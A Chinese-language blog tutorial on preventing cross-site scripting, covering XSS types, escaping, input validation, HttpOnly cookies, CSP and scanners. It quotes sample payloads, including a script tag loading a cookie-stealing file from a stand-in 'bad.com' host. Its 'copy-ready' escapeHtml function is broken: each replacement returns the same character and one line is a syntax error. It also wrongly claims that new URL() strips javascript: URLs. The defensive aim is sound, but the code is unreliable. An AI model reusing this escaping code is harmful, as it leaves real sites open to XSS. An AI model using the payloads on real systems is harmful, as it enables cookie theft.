先搞懂:XSS到底是怎么“攻击”你的?
要防XSS,得先明白它的套路。XSS(Cross-Site Scripting)本质是攻击者把恶意脚本注入你的Web页面,让用户的浏览器执行这些脚本——相当于在你的网站里“插了个木马”,能偷Cookie、篡改页面内容,甚至冒充用户操作。

XSS分三类,我用“生活化场景”给你翻译:
– 反射型XSS:“一次性诈骗短信”——攻击者把恶意脚本藏在URL里(比如?search=<script>alert('偷你Cookie')</script>
),用户点链接后,网站直接把这个参数“反射”给浏览器执行。比如搜索框没防护的话,输入这段代码会直接弹框。
– 存储型XSS:“在你家留了个监控”——攻击者把恶意脚本存到你的数据库(比如评论区发<img src=x onerror=stealCookie()>“
),其他用户打开页面时,脚本从数据库里“读出来”执行。这是最危险的,因为能攻击所有访问该页面的人。
– DOM型XSS:“你家孩子自己开了门”——攻击者利用前端JS操作DOM时的漏洞(比如document.write(location.hash.slice(1))
),把恶意脚本通过URL的哈希值传给前端,前端直接执行。比如单页应用里用eval()
处理用户输入,就很容易中招。
举个真实案例:某电商网站的评论区没做防护,攻击者发了条评论<script src="https://bad.com/steal.js"></script>
,结果所有看这条评论的用户,Cookie都被偷走,账号被用来刷单。
前端防护:做“第一层滤网”,但别当“最后一道墙”
前端是用户和网站的“第一道接触点”,能快速拦截大部分“明显的坏请求”,但绝对不能依赖前端防护——因为攻击者可以用Postman直接发请求绕过前端验证!
1. 输入过滤:把“坏字符”拦在门外
前端可以用正则表达式过滤用户输入中的特殊字符(比如<
、>
、"
、'
、&
),但要注意:过滤的是“不可信输入”(比如用户填的表单、评论、搜索关键词),不是“可信内容”(比如管理员的富文本编辑)。
给你个现成的前端转义函数(直接复制用):
// 转义HTML特殊字符,防止脚本执行
function escapeHtml(str) {
if (!str) return '';
return str
.replace(/&/g, '&') // & → &
.replace(/</g, '<') // < → <
.replace(/>/g, '>') // > → >
.replace(/"/g, '"') // " → "
.replace(/'/g, ''') // ' → '
.replace(/`/g, '`'); // ` → `(防止模板字符串攻击)
}
// 正确用法:用textContent展示转义后的内容
const userInput = document.getElementById('comment-input').value;
document.getElementById('comment-list').textContent = escapeHtml(userInput);
2. 避免“危险的DOM操作”
很多DOM型XSS都是“自己作出来的”——比如用innerHTML
、document.write
、eval()
直接处理用户输入。换成安全的DOM方法:
– 用textContent
代替innerHTML
(textContent
会把内容当纯文本,不会解析HTML);
– 用setAttribute
代替直接赋值element.src
/element.href
(防止javascript:
伪协议攻击,比如<a href="javascript:steal()">
);
– 禁止用eval()
、new Function()
处理用户输入(比如eval(userInput)
等于“直接让攻击者写JS”)。
❌ 错误示范:
// 危险!用户输入`javascript:alert(1)`会执行
document.getElementById('link').href = userInput;
✅ 正确示范:
// 检查URL是否合法,再设置href
const safeHref = new URL(userInput).href; // 自动过滤伪协议
document.getElementById('link').setAttribute('href', safeHref);
后端防护:做“最后一道安全门”,必须“铁面无私”
后端是数据的“最终守护者”,不管前端有没有过滤,后端都要再做一次验证!因为攻击者可以绕过前端,直接给后端发请求。
1. 输入验证:“只接受你想要的数据”
后端要做“白名单验证”——只允许符合要求的输入(比如手机号必须是11位数字,邮箱必须符合xxx@xxx.com
格式),而不是“黑名单”(比如“禁止<script>
标签”——攻击者可以用<img src=x onerror=alert(1)>
绕过)。
举个PHP的例子(其他语言逻辑一样):
// 验证用户输入的“用户名”:只能是字母、数字、下划线,长度2-16位
$username = $_POST['username'];
if (!preg_match('/^[a-zA-Z0-9_]{2,16}$/', $username)) {
die('用户名格式错误');
}
// 验证“邮箱”:用PHP内置函数,比正则更可靠
$email = $_POST['email'];
if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
die('邮箱格式错误');
}
2. 输出编码:把“坏内容”变成“安全文本”
不管数据是从数据库读的,还是用户刚提交的,输出到页面之前必须转义!不同的输出场景,用不同的编码方式:
– 输出到HTML标签内:用htmlspecialchars
(PHP)、c:out
(JSP)、escape_html
(Python/Django);
– 输出到JS代码中:用json_encode
(PHP)、JSON.stringify
(JS)——把数据转成JSON格式,防止脚本注入;
– 输出到URL参数中:用urlencode
(PHP)、encodeURIComponent
(JS)——防止URL中的恶意字符。
给你个PHP的输出示例(数据库读出来的评论):
// 从数据库取评论(假设$comment是用户提交的内容)
$comment = $db->query("SELECT content FROM comments WHERE id=1")->fetchColumn();
// 输出时转义HTML,防止存储型XSS
echo '<div class="comment">' . htmlspecialchars($comment, ENT_QUOTES, 'UTF-8') . '</div>';
3. 设置“HttpOnly Cookie”:让脚本偷不到你的Cookie
XSS攻击的主要目的是偷Cookie——因为Cookie里存着用户的登录状态。设置HttpOnly
属性后,JS无法读取Cookie,直接切断攻击者的“偷Cookie路径”!
不同语言的设置方法:
– Java:Cookie cookie = new Cookie("sessionId", "abc123"); cookie.setHttpOnly(true);
– PHP:setcookie("sessionId", "abc123", ["httponly" => true]);
– Node.js/Express:res.cookie("sessionId", "abc123", { httpOnly: true });
用CSP给网站加个“安全围墙”:拦截所有“不听话的脚本”
Content Security Policy(CSP)是浏览器提供的“终极防护手段”——它能限制网站加载哪些资源(脚本、样式、图片),甚至禁止执行inline脚本(比如<script>alert(1)</script>
)。
1. 怎么设置CSP?
你可以在HTTP响应头里加Content-Security-Policy
,或者在HTML的<meta>
标签里加:
// 响应头设置(推荐,比meta更灵活)
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.com; style-src 'self' 'unsafe-inline'; img-src *;
<!-- meta标签设置(适合静态页面) -->
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; script-src 'self' https://trusted.com">
2. 关键指令解释(记这几个就够):
指令 | 作用 | 示例 |
---|---|---|
default-src |
所有资源的“默认规则” | 'self' (只允许本站资源) |
script-src |
允许加载的脚本来源 | 'self' https://trusted.com (允许本站和trusted.com的脚本) |
style-src |
允许加载的样式来源 | 'self' 'unsafe-inline' (允许本站样式和inline样式,因为很多框架用inline样式) |
img-src |
允许加载的图片来源 | * (允许所有图片,因为图片一般不会有安全问题) |
frame-src |
允许嵌入的iframe来源 | 'none' (禁止所有iframe,防止点击劫持) |
3. 调试CSP:用Chrome开发者工具找问题
如果CSP设置错了,浏览器会在Console里报错(比如Refused to load script from 'https://bad.com' because it violates the following Content Security Policy directive: "script-src 'self'"
)。你可以根据报错信息调整CSP规则。
实战:常见场景的“针对性防护方案”
我把工作中遇到的“高频XSS场景”整理成了“解决方案清单”,直接对号入座:
场景1:用户评论区(存储型XSS)
- 前端:用markdown编辑器代替富文本(比如Marked.js),限制用户只能输入markdown语法(比如
#
、*
、[]()
),禁止HTML标签; - 后端:验证评论长度(比如1-500字),用
htmlspecialchars
转义输出; - 额外:设置CSP的
script-src 'self'
,禁止加载外部脚本。
场景2:搜索框(反射型XSS)
- 前端:用
escapeHtml
过滤搜索关键词,用textContent
展示搜索结果; - 后端:对搜索参数做
urlencode
,防止URL中的恶意字符; - 额外:禁止搜索参数中包含
<
、>
等字符(比如preg_replace('/[<>]/', '', $search)
)。
场景3:单页应用(SPA,DOM型XSS)
- 用框架的“自动转义”:Vue的
{{}}
、React的{}
会自动转义HTML,比自己写转义函数更可靠; - 避免直接操作DOM:用Vue的
v-text
代替v-html
,用React的dangerouslySetInnerHTML
时必须先转义; - 例子(Vue):
<!-- 安全:{{}}自动转义 --> <p>{{ userComment }}</p> <!-- 危险:v-html会解析HTML,除非你确定内容是安全的 --> <p v-html="safeContent"></p>
避开这些“防护误区”,别做“无用功”
最后提醒你几个90%的程序员都会犯的错,别踩坑:
– ❌ 误区1:“只过滤<script>
标签就够了”——攻击者可以用<img src=x onerror=alert(1)>
、<a href=javascript:steal()>“
这样的payload绕过;
– ❌ 误区2:“前端过滤了,后端就不用管了”——攻击者可以用Postman直接发请求,绕开前端验证;
– ❌ 误区3:“CSP设置越严越好”——比如script-src 'none'
会禁止所有脚本,导致网站无法运行;要平衡“安全”和“功能”;
– ❌ 误区4:“用了框架就不会有XSS”——Vue/React能防大部分DOM型XSS,但如果用v-html
、dangerouslySetInnerHTML
处理不可信内容,一样会中招;
– ❌ 误区5:“Cookie设置了HttpOnly就万事大吉”——HttpOnly能防偷Cookie,但不能防XSS篡改页面(比如把“加入购物车”改成“直接付款”)。
最后:定期做“XSS漏洞扫描”
防护不是“一劳永逸”的,你需要定期扫描网站——用工具自动找XSS漏洞:
– 免费工具:OWASP ZAP(自动扫描反射型、存储型XSS)、Chrome DevTools的“Security”面板(检查CSP是否生效);
– 付费工具:Acunetix、Nessus(适合企业级Web应用)。
比如用OWASP ZAP扫描你的网站,它会模拟攻击者发送恶意请求,告诉你“哪个页面有XSS漏洞”、“怎么修复”。
到这里,你已经掌握了XSS防护的“全流程方案”——从原理到实战,从前端到后端,从预防到扫描。记住:XSS防护的核心是“不信任任何用户输入”,所有不可信数据都要“过滤、转义、验证”!
原创文章,作者:,如若转载,请注明出处:https://zube.cn/archives/305